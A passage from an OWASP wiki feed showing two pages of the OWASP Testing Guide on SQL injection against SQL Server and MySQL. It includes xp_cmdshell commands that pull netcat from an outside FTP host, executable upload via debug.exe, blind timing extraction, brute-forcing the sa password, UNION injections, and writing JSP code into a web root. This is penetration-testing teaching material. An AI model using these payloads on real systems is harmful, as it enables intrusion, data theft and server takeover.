Of course, the error message is not always available. If that is the case, we can use the response time to understand what is going on: with a closed port, the timeout (5 seconds in this example) will be consumed, whereas an open port will return the result right away. &lt;br /&gt;
&lt;br /&gt;
Keep in mind that OPENROWSET is enabled by default in SQL Server 2000 but disabled in SQL Server 2005.&lt;br /&gt;
&lt;br /&gt;
===Example 8: Upload of executables===&lt;br /&gt;
&lt;br /&gt;
Once we can use xp_cmdshell (either the native one or a custom one), we can easily upload executables on the target DB Server. A very common choice is netcat.exe, but any trojan will be useful here.&lt;br /&gt;
If the target is allowed to start FTP connections to the tester's machine, all that is needed is to inject the following queries:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
exec master..xp_cmdshell 'echo open ftp.tester.org &amp;gt; ftpscript.txt';--&lt;br /&gt;
exec master..xp_cmdshell 'echo USER &amp;gt;&amp;gt; ftpscript.txt';-- &lt;br /&gt;
exec master..xp_cmdshell 'echo PASS &amp;gt;&amp;gt; ftpscript.txt';--&lt;br /&gt;
exec master..xp_cmdshell 'echo bin &amp;gt;&amp;gt; ftpscript.txt';--&lt;br /&gt;
exec master..xp_cmdshell 'echo get nc.exe &amp;gt;&amp;gt; ftpscript.txt';--&lt;br /&gt;
exec master..xp_cmdshell 'echo quit &amp;gt;&amp;gt; ftpscript.txt';--&lt;br /&gt;
exec master..xp_cmdshell 'ftp -s:ftpscript.txt';--&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
At this point, nc.exe will be uploaded and available.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
If FTP is not allowed by the firewall, we have a workaround that exploits the Windows debugger, debug.exe, that is installed by default in all Windows machines. Debug.exe is scriptable and is able to create an executable by executing an appropriate script file. What we need to do is to convert the executable into a debug script (which is a 100% ascii file), upload it line by line and finally call debug.exe on it. There are several tools that create such debug files (e.g.: makescr.exe by Ollie Whitehouse and dbgtool.exe by toolcrypt.org). The queries to inject will therefore be the following:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
exec master..xp_cmdshell 'echo [debug script line #1 of n] &amp;gt; debugscript.txt';--&lt;br /&gt;
exec master..xp_cmdshell 'echo [debug script line #2 of n] &amp;gt;&amp;gt; debugscript.txt';--&lt;br /&gt;
....&lt;br /&gt;
exec master..xp_cmdshell 'echo [debug script line #n of n] &amp;gt;&amp;gt; debugscript.txt';--&lt;br /&gt;
exec master..xp_cmdshell 'debug.exe &amp;lt; debugscript.txt';--&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
At this point, our executable is available on the target machine, ready to be executed.&lt;br /&gt;
&lt;br /&gt;
There are tools that automate this process, most notably Bobcat, which runs on Windows, and Sqlninja, which runs on *nix (See the tools at the bottom of this page).&lt;br /&gt;
&lt;br /&gt;
===Obtain information when it is not displayed (Out of band)===&lt;br /&gt;
&lt;br /&gt;
Not all is lost when the web application does not return any information --such as descriptive error messages (cf. [[http://www.owasp.org/index.php/Blind_SQL_Injection|Blind SQL injection]]). For example, it might happen that one has access to the source code (e.g., because the web application is based on an open source software). Then, the pen tester can exploit all the SQL-injection vulnerabilities discovered offline in the web application. Although an IPS might stop some of these attacks, the best way would be to proceed as follows: develop and test the attacks in a testbed created for that purpose, and then execute these attacks against the web application being tested. &lt;br /&gt;
&lt;br /&gt;
Other options for out of band attacks are described in Sample 4 above. &lt;br /&gt;
&lt;br /&gt;
===Blind SQL injection attacks===&lt;br /&gt;
&lt;br /&gt;
====Trial and error====&lt;br /&gt;
Alternatively, one may play lucky. That is the attacker may assume that there is a blind or out-of-band SQL-injection vulnerability in a the web application. He will then select an attack vector (e.g., a web entry), use fuzz vectors ([[http://www.owasp.org/index.php/OWASP_Testing_Guide_Appendix_C:_Fuzz_Vectors]]) against this channel and watch the response. For example, if the web application is looking for a book using a query&lt;br /&gt;
&lt;br /&gt;
   select * from books where title='''text entered by the user'''&lt;br /&gt;
&lt;br /&gt;
then the penetration tester might enter the text: ''''Bomba' OR 1=1-''' and if data is not properly validated, the query will go through and return the whole list of books. This is evidence that there is a SQL-injection vulnerability. The penetration tester might later ''play'' with the queries in order to assess the criticality of this vulnerability.&lt;br /&gt;
&lt;br /&gt;
====In case more than one error message is displayed====&lt;br /&gt;
On the other hand, if no prior information is available there is still a possibility of attacking by exploiting any ''covert channel''. It might happen that descriptive error messages are stopped, yet the error messages give some information. For example: &lt;br /&gt;
&lt;br /&gt;
* On some cases the web application (actually the web server) might return the traditional ''500: Internal Server Error'', say when the application returns an exception that might be generated for instance by a query with unclosed quotes. &lt;br /&gt;
* While on other cases the server will return a 200 OK message, but the web application will return some error message inserted by the developers ''Internal server error'' or ''bad data''. &lt;br /&gt;
&lt;br /&gt;
This 1 bit of information might be enough to understand how the dynamic SQL query is constructed by the web application and tune up an exploit.&lt;br /&gt;
&lt;br /&gt;
Another out-of-band method is to output the results through HTTP browseable &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
====Timing attacks====&lt;br /&gt;
There is one more possibility for making a blind SQL-injection attack when there is not visible feedback from the application: by measuring the time that it takes the web application to answer a request. An attack of this sort is described by Anley in ([2]) from where we take the next examples. A typical approach uses the ''waitfor delay'' command: let's say that the attacker wants to check if the 'pubs' sample database exists, he will simply inject the following command:&lt;br /&gt;
&lt;br /&gt;
 if exists (select * from pubs..pub_info) waitfor delay '0:0:5'&lt;br /&gt;
&lt;br /&gt;
Depending on the time that the query takes to return, we will know the answer. In fact, what we have here is two things: a '''SQL-injection vulnerability''' and a '''covert channel''' that allows the penetration tester to get 1 bit of information for each query. Hence, using several queries (as much queries as the bits in the required information) the pen tester can get any data that is in the database. Look at the following query&lt;br /&gt;
&lt;br /&gt;
 declare @s varchar(8000)&lt;br /&gt;
 declare @i int&lt;br /&gt;
 select @s = db_name()&lt;br /&gt;
 select @i = [some value]&lt;br /&gt;
 if (select len(@s)) &amp;lt; @i waitfor delay '0:0:5'&lt;br /&gt;
&lt;br /&gt;
Measuring the response time and using different values for @i, we can deduce the length of the name of the current database, and then start to extract the name itself with the following query:&lt;br /&gt;
&lt;br /&gt;
 if (ascii(substring(@s, @byte, 1)) &amp;amp; ( power(2, @bit))) &amp;gt; 0 waitfor delay '0:0:5'&lt;br /&gt;
&lt;br /&gt;
This query will wait for 5 seconds if bit '@bit' of byte '@byte' of the name of the current database is 1, and will return at once if it is 0. Nesting two cycles (one for @byte and one for @bit) we will we able to extract the whole piece of information.&lt;br /&gt;
&lt;br /&gt;
However, it might happen that the command ''waitfor'' is not available (e.g., because it is filtered by an IPS/web application firewall). This doesn't mean that blind SQL-injection attacks cannot be done, as the pen tester should only come up with any time consuming operation that is not filtered. For example&lt;br /&gt;
&lt;br /&gt;
 declare @i int select @i = 0&lt;br /&gt;
 while @i &amp;lt; 0xaffff begin&lt;br /&gt;
 select @i = @i + 1&lt;br /&gt;
 end&lt;br /&gt;
&lt;br /&gt;
====Checking for version and vulnerabilities====&lt;br /&gt;
The same timing approach can be used also to understand which version of SQL Server we are dealing with. Of course we will leverage the built-in @@version variable. Consider the following query:&lt;br /&gt;
&lt;br /&gt;
 select @@version&lt;br /&gt;
&lt;br /&gt;
On SQL Server 2005, it will return something like the following:&lt;br /&gt;
&lt;br /&gt;
 Microsoft SQL Server 2005 - 9.00.1399.06 (Intel X86) Oct 14 2005 00:33:37 &amp;lt;snip&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The '2005' part of the string spans from the 22nd to the 25th character. Therefore, one query to inject can be the following:&lt;br /&gt;
&lt;br /&gt;
 if substring((select @@version),25,1) = 5 waitfor delay '0:0:5'&lt;br /&gt;
&lt;br /&gt;
Such query will wait 5 seconds if the 25th character of the @@version variable is '5', showing us that we are dealing with a SQL Server 2005. If the query returns immediately, we are probably dealing with SQL Server 2000, and another similar query will help to clear all doubts.&lt;br /&gt;
&lt;br /&gt;
===Example 9: bruteforce of sysadmin password===&lt;br /&gt;
&lt;br /&gt;
To bruteforce the sysadmin password, we can leverage the fact that OPENROWSET needs proper credentials to successfully perform the connection and that such a connection can be also &amp;quot;looped&amp;quot; to the local DB Server.&lt;br /&gt;
Combining these features with an inferenced injection based on response timing, we can inject the following code:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
select * from OPENROWSET('SQLOLEDB','';'sa';'&amp;lt;pwd&amp;gt;','select 1;waitfor delay ''0:0:5'' ')&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
What we do here is to attempt a connection to the local database (specified by the empty field after 'SQLOLEDB') using &amp;quot;sa&amp;quot; and &amp;quot;&amp;lt;pwd&amp;gt;&amp;quot; as credentials. If the password is correct and the connection is successful, the query is executed, making the DB wait for 5 seconds (and also returning a value, since OPENROWSET expects at least one column). Fetching the candidate passwords from a wordlist and measuring the time needed for each connection, we can attempt to guess the correct password. In &amp;quot;Data-mining with SQL Injection and Inference&amp;quot;, David Litchfield pushes this technique even further, by injecting a piece of code in order to bruteforce the sysadmin password using the CPU resources of the DB Server itself. &lt;br /&gt;
Once we have the sysadmin password, we have two choices:&lt;br /&gt;
&lt;br /&gt;
* Inject all following queries using OPENROWSET, in order to use sysadmin privileges&lt;br /&gt;
&lt;br /&gt;
* Add our current user to the sysadmin group using sp_addsrvrolemember. The current user name can be extracted using inferenced injection against the variable system_user.&lt;br /&gt;
&lt;br /&gt;
Remember that OPENROWSET is accessible to all users on SQL Server 2000 but it is restricted to administrative accounts on SQL Server 2005.&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
'''Whitepapers'''&amp;lt;br&amp;gt;&lt;br /&gt;
* David Litchfield: &amp;quot;Data-mining with SQL Injection and Inference&amp;quot; - http://www.nextgenss.com/research/papers/sqlinference.pdf&lt;br /&gt;
* Chris Anley, &amp;quot;(more) Advanced SQL Injection&amp;quot; - http://www.ngssoftware.com/papers/more_advanced_sql_injection.pdf&lt;br /&gt;
* Steve Friedl's Unixwiz.net Tech Tips: &amp;quot;SQL Injection Attacks by Example&amp;quot; - http://www.unixwiz.net/techtips/sql-injection.html&lt;br /&gt;
* Alexander Chigrik: &amp;quot;Useful undocumented extended stored procedures&amp;quot; - http://www.mssqlcity.com/Articles/Undoc/UndocExtSP.htm&lt;br /&gt;
* Antonin Foller: &amp;quot;Custom xp_cmdshell, using shell object&amp;quot; - http://www.motobit.com/tips/detpg_cmdshell&lt;br /&gt;
* Paul Litwin: &amp;quot;Stop SQL Injection Attacks Before They Stop You&amp;quot; - http://msdn.microsoft.com/msdnmag/issues/04/09/SQLInjection/&lt;br /&gt;
* SQL Injection - http://msdn2.microsoft.com/en-us/library/ms161953.aspx&lt;br /&gt;
&lt;br /&gt;
'''Tools'''&amp;lt;br&amp;gt;&lt;br /&gt;
* Francois Larouche: Multiple DBMS Sql Injection tool - [[http://www.sqlpowerinjector.com/index.htm SQL Power Injector]]&lt;br /&gt;
* Northern Monkee: [[http://www.northern-monkee.co.uk/projects/bobcat/bobcat.html Bobcat]]&lt;br /&gt;
* icesurfer: SQL Server Takeover Tool - [[http://sqlninja.sourceforge.net sqlninja]]&lt;br /&gt;
* Bernardo Damele and Daniele Bellucci: sqlmap, a blind SQL injection tool - http://sqlmap.sourceforge.net&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
{{Category:OWASP Testing Project AoC}}&lt;/div&gt;</summary>
		<author><name>Marco</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_MySQL&amp;diff=36957</id>
		<title>Testing for MySQL</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_MySQL&amp;diff=36957"/>
				<updated>2008-08-22T22:26:03Z</updated>
		
		<summary type="html">&lt;p&gt;Marco: /* Blind SQL Injection */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[http://www.owasp.org/index.php/Web_Application_Penetration_Testing_AoC Up]]&amp;lt;br&amp;gt;&lt;br /&gt;
{{Template:OWASP Testing Guide v2}}&lt;br /&gt;
&lt;br /&gt;
== Short Description of the Issue == &lt;br /&gt;
[[SQL Injection]] vulnerabilities occur whenever input is used in the construction of an SQL query without being adequately constrained or sanitized. The use of dynamic SQL (the construction of SQL queries by concatenation of strings) opens the door to these vulnerabilities. SQL injection allows an attacker to access the SQL servers. It allows for the execution of SQL code under the privileges of the user used to connect to the database.&lt;br /&gt;
&lt;br /&gt;
''MySQL server'' has a few particularities so that some exploits need to be &lt;br /&gt;
specially customized for this application. That's the subject of this section.&lt;br /&gt;
&lt;br /&gt;
== Black Box testing and example ==&lt;br /&gt;
&lt;br /&gt;
=== How to Test ===&lt;br /&gt;
When a SQL injection vulnerability is found in an application backed by a MySQL database,&lt;br /&gt;
there are a number of attacks that could be performed depending &lt;br /&gt;
on the MySQL version and user privileges on DBMS.&lt;br /&gt;
&lt;br /&gt;
MySQL comes with at least four versions which are used in production worldwide.&lt;br /&gt;
3.23.x, 4.0.x, 4.1.x and 5.0.x.&lt;br /&gt;
Every version has a set of features proportional to version number.&lt;br /&gt;
&lt;br /&gt;
* From Version 4.0: UNION &lt;br /&gt;
* From Version 4.1: Subqueries&lt;br /&gt;
* From Version 5.0: Stored procedures, Stored functions and the view named INFORMATION_SCHEMA&lt;br /&gt;
* From Version 5.0.2: Triggers &lt;br /&gt;
&lt;br /&gt;
It should be noted that for MySQL versions before 4.0.x, only Boolean or time-based Blind Injection attacks could be used, since the subquery functionality or UNION statements were not implemented.&lt;br /&gt;
&lt;br /&gt;
From now on, we will assume that there is a classic SQL injection vulnerability, which can be triggered by a request similar to the the one described in the Section on [[Testing for SQL Injection]].&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;http://www.example.com/page.php?id=2&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== The single Quotes Problem ===&lt;br /&gt;
Before taking advantage of MySQL features, &lt;br /&gt;
it has to be taken in consideration how strings could be represented&lt;br /&gt;
in a statement, as often web applications escape single quotes.&lt;br /&gt;
&lt;br /&gt;
MySQL quote escaping is the following:&amp;lt;br&amp;gt;&lt;br /&gt;
''' &amp;lt;nowiki&amp;gt;'A string with \'quotes\''&amp;lt;/nowiki&amp;gt; '''&lt;br /&gt;
&lt;br /&gt;
That is, MySQL interprets escaped apostrophes (\') as characters and not as&lt;br /&gt;
metacharacters.&lt;br /&gt;
&lt;br /&gt;
So if using constant strings is needed,&lt;br /&gt;
two cases are to be differentiated: &lt;br /&gt;
# Web app escapes single quotes (' =&amp;gt; \')&lt;br /&gt;
# Web app does not escape single quotes (' =&amp;gt; ')&lt;br /&gt;
&lt;br /&gt;
Under MySQL, there is some standard way to bypass the need of single quotes, anyway there is some trick to have a constant string to be declared without the needs of single quotes.&lt;br /&gt;
&lt;br /&gt;
Let's suppose we want to know the value of a field named 'password' in a record,&lt;br /&gt;
with a condition like the following:&lt;br /&gt;
password like 'A%'&lt;br /&gt;
&lt;br /&gt;
# The ascii values in a concatenated hex:&amp;lt;br&amp;gt;&lt;br /&gt;
#: password LIKE 0x4125&lt;br /&gt;
# The char() function:&lt;br /&gt;
#: password LIKE CHAR(65,37)&lt;br /&gt;
&lt;br /&gt;
=== Multiple mixed queries: ===&lt;br /&gt;
&lt;br /&gt;
MySQL library connectors do not support multiple queries separated&lt;br /&gt;
by '''&amp;lt;nowiki&amp;gt;';'&amp;lt;/nowiki&amp;gt;''' so there's no way to inject multiple non homogeneous SQL commands inside a single SQL injection vulnerability like in Microsoft SQL Server.&lt;br /&gt;
&lt;br /&gt;
As an example the following injection will result in an error:&lt;br /&gt;
&lt;br /&gt;
 1 ; update tablename set code='javascript code' where 1 --&lt;br /&gt;
&lt;br /&gt;
=== Information gathering ===&lt;br /&gt;
&lt;br /&gt;
==== Fingerprinting MySQL ====&lt;br /&gt;
&lt;br /&gt;
Of course, the first thing to know is if there's MySQL DBMS as a backend.&lt;br /&gt;
&lt;br /&gt;
MySQL server has a feature that is used to let other DBMS ignore a clause in MySQL&lt;br /&gt;
dialect. When a comment block ''('/**/')'' contains an exlamation mark ''('/*! sql here*/')'' it is interpreted by MySQL, and is considered as a normal comment block by other DBMS&lt;br /&gt;
as explained in [[http://dev.mysql.com/doc/refman/5.0/en/comments.html MySQL manual]].&lt;br /&gt;
&lt;br /&gt;
E.g.:&lt;br /&gt;
 1 /*! and 1=0 */&lt;br /&gt;
&lt;br /&gt;
'''Result Expected:'''&amp;lt;br&amp;gt;&lt;br /&gt;
''If MySQL is present, the clause inside the comment block will be interpreted.''&lt;br /&gt;
&lt;br /&gt;
==== Version ====&lt;br /&gt;
&lt;br /&gt;
There are three ways to gain this information:&lt;br /&gt;
# By using the global variable @@version&lt;br /&gt;
# By using the function [[http://dev.mysql.com/doc/refman/5.0/en/information-functions.html VERSION()]]&lt;br /&gt;
# By using comment fingerprinting with a version number /*!40110 and 1=0*/&lt;br /&gt;
#: which means &lt;br /&gt;
 &amp;lt;nowiki&amp;gt;if(version &amp;gt;= 4.1.10) &lt;br /&gt;
   add 'and 1=0' to the query.&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
These are equivalent as the result is the same.&lt;br /&gt;
&lt;br /&gt;
In band injection:&lt;br /&gt;
&lt;br /&gt;
 1 AND 1=0 UNION SELECT @@version /*&lt;br /&gt;
&lt;br /&gt;
Inferential injection:&lt;br /&gt;
&lt;br /&gt;
 1 AND @@version like '4.0%'&lt;br /&gt;
&lt;br /&gt;
'''Result Expected:'''&amp;lt;br&amp;gt;&lt;br /&gt;
''A string like this: '''5.0.22-log''' ''&lt;br /&gt;
&lt;br /&gt;
==== Login User ====&lt;br /&gt;
&lt;br /&gt;
There are two kinds of users MySQL Server relies.&lt;br /&gt;
# [[http://dev.mysql.com/doc/refman/5.0/en/information-functions.html USER()]]: the user connected to the MySQL Server.&lt;br /&gt;
# [[http://dev.mysql.com/doc/refman/5.0/en/information-functions.html CURRENT_USER()]]: the internal user who is executing the query.&lt;br /&gt;
&lt;br /&gt;
There is some difference between 1 and 2.&lt;br /&gt;
&lt;br /&gt;
The main one is that an anonymous user could connect (if allowed)&lt;br /&gt;
with any name, but the MySQL internal user is an empty name (&amp;lt;nowiki&amp;gt;''&amp;lt;/nowiki&amp;gt;).&lt;br /&gt;
&lt;br /&gt;
Another difference is that a stored procedure or a stored function&lt;br /&gt;
are executed as the creator user, if not declared elsewhere. This &lt;br /&gt;
can be known by using '''CURRENT_USER'''.&lt;br /&gt;
&lt;br /&gt;
In band injection:&lt;br /&gt;
&lt;br /&gt;
 1 AND 1=0 UNION SELECT USER() &lt;br /&gt;
&lt;br /&gt;
Inferential injection:&lt;br /&gt;
&lt;br /&gt;
 1 AND USER() like 'root%'&lt;br /&gt;
&lt;br /&gt;
'''Result Expected:'''&amp;lt;br&amp;gt;&lt;br /&gt;
''A string like this: '''user@hostname''' ''&lt;br /&gt;
&lt;br /&gt;
==== Database name in use ====&lt;br /&gt;
&lt;br /&gt;
There is the native function DATABASE()&lt;br /&gt;
&lt;br /&gt;
In band injection:&lt;br /&gt;
&lt;br /&gt;
 1 AND 1=0 UNION SELECT DATABASE() &lt;br /&gt;
&lt;br /&gt;
Inferential injection:&lt;br /&gt;
&lt;br /&gt;
 1 AND DATABASE() like 'db%'&lt;br /&gt;
&lt;br /&gt;
'''Result Expected:'''&amp;lt;br&amp;gt;&lt;br /&gt;
''A string like this: '''dbname''' ''&lt;br /&gt;
&lt;br /&gt;
==== INFORMATION_SCHEMA ====&lt;br /&gt;
From MySQL 5.0 a view named [[http://dev.mysql.com/doc/refman/5.0/en/information-schema.html INFORMATION_SCHEMA]] was created.&lt;br /&gt;
It allows to get all informations about databases, tables and columns&lt;br /&gt;
as well as procedures and functions.&lt;br /&gt;
&lt;br /&gt;
Here is a summary about some interesting View.&lt;br /&gt;
{| border=1&lt;br /&gt;
 || '''Tables_in_INFORMATION_SCHEMA''' || '''DESCRIPTION'''&lt;br /&gt;
|-&lt;br /&gt;
|| ..[skipped]..|| ..[skipped].. &lt;br /&gt;
|-&lt;br /&gt;
|| SCHEMATA || All databases the user has (at least) SELECT_priv &lt;br /&gt;
|-&lt;br /&gt;
|| SCHEMA_PRIVILEGES || The privileges the user has for each DB&lt;br /&gt;
|-&lt;br /&gt;
|| TABLES || All tables  the user has (at least) SELECT_priv&lt;br /&gt;
|-&lt;br /&gt;
|| TABLE_PRIVILEGES || The privileges the user has for each table&lt;br /&gt;
|-&lt;br /&gt;
|| COLUMNS || All columns  the user has (at least) SELECT_priv&lt;br /&gt;
|-&lt;br /&gt;
|| COLUMN_PRIVILEGES || The privileges the user has for each column&lt;br /&gt;
|-&lt;br /&gt;
|| VIEWS || All columns  the user has (at least) SELECT_priv&lt;br /&gt;
|-&lt;br /&gt;
|| ROUTINES || Procedures and functions (needs EXECUTE_priv)&lt;br /&gt;
|-&lt;br /&gt;
|| TRIGGERS || Triggers (needs INSERT_priv)&lt;br /&gt;
|-&lt;br /&gt;
|| USER_PRIVILEGES || Privileges connected User has&lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
All of these informations could be extracted by using known techniques as &lt;br /&gt;
described in SQL Injection paragraph.&lt;br /&gt;
&lt;br /&gt;
=== Attack vectors ===&lt;br /&gt;
&lt;br /&gt;
==== Write in a File ====&lt;br /&gt;
&lt;br /&gt;
If the connected user has '''FILE''' privileges and single quotes are not escaped,&lt;br /&gt;
the 'into outfile' clause can be used to export query results in a file.&lt;br /&gt;
&lt;br /&gt;
 Select * from table into outfile '/tmp/file'&lt;br /&gt;
&lt;br /&gt;
Note: there is no way to bypass single quotes outstanding filename. &lt;br /&gt;
So if there's some sanitization on single quotes like escape (\') there will&lt;br /&gt;
be no way to use 'into outfile' clause.&lt;br /&gt;
&lt;br /&gt;
This kind of attack could be used as an out-of-band technique to gain information&lt;br /&gt;
about the results of a query or to write a file which could be executed inside the &lt;br /&gt;
web server directory.&lt;br /&gt;
&lt;br /&gt;
Example:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;1 limit 1 into outfile '/var/www/root/test.jsp' FIELDS ENCLOSED BY '//'  LINES TERMINATED BY '\n&amp;lt;%jsp code here%&amp;gt;';&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Result Expected:'''&amp;lt;br&amp;gt;&lt;br /&gt;
'' Results are stored in a file with rw-rw-rw privileges owned by &lt;br /&gt;
mysql user and group.&lt;br /&gt;
&lt;br /&gt;
Where ''/var/www/root/test.jsp'' will contain:&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;//field values//&lt;br /&gt;
&amp;lt;%jsp code here%&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Read from a File ====&lt;br /&gt;
&lt;br /&gt;
Load_file is a native function that can read a file when allowed by &lt;br /&gt;
filesystem permissions. &lt;br /&gt;
&lt;br /&gt;
If the connected user has '''FILE''' privileges, it could be used to get files content.&lt;br /&gt;
&lt;br /&gt;
Single quotes escape sanitization can by bypassed by using previously described&lt;br /&gt;
techniques.&lt;br /&gt;
&lt;br /&gt;
 load_file('filename')&lt;br /&gt;
&lt;br /&gt;
'''Result Expected:'''&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'' the whole file will be available for exporting by using standard techniques.''&lt;br /&gt;
&lt;br /&gt;
=== Standard SQL Injection Attack ===&lt;br /&gt;
&lt;br /&gt;
In a standard SQL injection you can have results displayed directly &lt;br /&gt;
in a page as normal output or as a MySQL error.&lt;br /&gt;
By using already mentioned SQL Injection attacks and the already described&lt;br /&gt;
MySQL features, direct SQL injection could be easily accomplished at a level&lt;br /&gt;
depth depending primarily on mysql version the pentester is facing.&lt;br /&gt;
&lt;br /&gt;
A good attack is to know the results by forcing a function/procedure&lt;br /&gt;
or the server itself to throw an error.&lt;br /&gt;
A list of errors thrown by MySQL and in particular native functions could&lt;br /&gt;
be found on [[http://dev.mysql.com/doc/refman/5.0/en/error-messages-server.html MySQL Manual]].&lt;br /&gt;
&lt;br /&gt;
=== Out of band SQL Injection ===&lt;br /&gt;
&lt;br /&gt;
Out of band injection could be accomplished by using the [[#Write_in_a_File|'into outfile']] clause.&lt;br /&gt;
=== Blind SQL Injection ===&lt;br /&gt;
For blind SQL injection, there is a set of useful function natively provided by MySQL server.&lt;br /&gt;
&lt;br /&gt;
* String Length: &lt;br /&gt;
*: ''LENGTH(str)''&lt;br /&gt;
* Extract a substring from a given string: &lt;br /&gt;
*: ''SUBSTRING(string, offset, #chars_returned)''&lt;br /&gt;
* Time based Blind Injection: BENCHMARK and SLEEP &lt;br /&gt;
*: ''BENCHMARK(#ofcicles,action_to_be_performed )''&lt;br /&gt;
*: The benchmark function could be used to perform timing attacks, when blind injection by boolean values does not yield any results.&lt;br /&gt;
*: See. SLEEP() (MySQL &amp;gt; 5.0.x) for an alternative on benchmark.&lt;br /&gt;
&lt;br /&gt;
For a complete list the reader could refer to MySQL manual - http://dev.mysql.com/doc/refman/5.0/en/functions.html&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
'''Whitepapers'''&amp;lt;br&amp;gt;&lt;br /&gt;
* Chris Anley: &amp;quot;Hackproofing MySQL&amp;quot; -http://www.nextgenss.com/papers/HackproofingMySQL.pdf&lt;br /&gt;
&lt;br /&gt;
'''Case Studies'''&amp;lt;br&amp;gt;&lt;br /&gt;
* Time Based SQL Injection Explained - http://www.f-g.it/papers/blind-zk.txt&lt;br /&gt;
&lt;br /&gt;
'''Tools'''&amp;lt;br&amp;gt;&lt;br /&gt;
* Francois Larouche: Multiple DBMS SQL Injection tool - http://www.sqlpowerinjector.com/index.htm&amp;lt;br&amp;gt;&lt;br /&gt;
* ilo--:  MySQL Blind Injection Bruteforcing, Reversing.org - http://www.reversing.org/node/view/11 sqlbftools&amp;lt;br&amp;gt;&lt;br /&gt;
* Bernardo Damele and Daniele Bellucci: sqlmap, a blind SQL injection tool - http://sqlmap.sourceforge.net&lt;br /&gt;
* Antonio Parata: Dump Files by SQL inference on Mysql - http://www.ictsc.it/site/IT/projects/sqlDumper/sqldumper.src.tar.gz&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
{{Category:OWASP Testing Project AoC}}&lt;/div&gt;</summary>
		<author><name>Marco</name></author>	</entry>

	</feed>